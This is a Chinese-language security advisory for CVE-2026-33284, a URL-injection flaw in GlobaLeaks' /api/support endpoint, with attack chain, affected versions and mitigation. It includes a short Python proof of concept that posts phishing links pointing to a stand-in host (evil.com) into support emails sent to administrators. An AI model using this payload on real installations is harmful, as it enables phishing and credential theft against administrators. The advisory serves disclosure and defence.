IPBUF安全漏洞报告
English
CVE-2026-33284 CVSS 4.3 中危

CVE-2026-33284 GlobaLeaks邮件URL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33284
漏洞类型
URL注入
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GlobaLeaks

相关标签

URL注入GlobaLeaks中危无需认证钓鱼攻击

漏洞概述

GlobaLeaks是一款开源举报软件。在5.0.89版本之前,其/api/support端点对用户提交的支持请求验证不足,导致攻击者可在发送给管理员的支持邮件中注入任意恶意URL,从而可能诱导管理员点击。

技术细节

该漏洞源于GlobaLeaks在处理/api/support端点的请求时,未对用户输入的参数进行严格的格式校验和过滤。攻击者无需认证即可构造包含恶意URL的HTTP POST请求发送至该接口。系统在生成支持邮件时,直接将未经验证的URL内容嵌入邮件正文。虽然CVSS评分为4.3,但这可能被用于钓鱼攻击,诱导管理员访问恶意站点,进而窃取凭证或执行进一步攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标运行的是 GlobaLeaks 软件,且版本低于 5.0.89。
STEP 2
2. 构造恶意请求
攻击者无需认证,向 /api/support 端点发送 POST 请求,请求体中包含带有恶意链接的字段。
STEP 3
3. 触发漏洞
服务器端处理请求时,由于缺乏校验,将恶意 URL 直接拼接到发送给管理员的支持邮件中。
STEP 4
4. 社会工程学攻击
管理员收到邮件,查看内容并点击其中的恶意链接,可能导致后续的凭证窃取或系统入侵。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-33284: Arbitrary URL injection in support emails. """ endpoint = f"{target_url}/api/support" # Malicious payload containing an arbitrary URL payload = { "name": "Test User", "email": "[email protected]", "message": "Check this link: http://evil.com", # Assuming the API might take a url field or inject it via text "url": "http://evil.com/phishing" } try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check administrator's email for injected URL.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_vulnerability(target)

影响范围

GlobaLeaks < 5.0.89

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 /api/support 接口或在网关层限制对该接口的访问,仅允许受信任的 IP 地址访问。同时,管理员应小心处理包含外部链接的支持请求邮件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表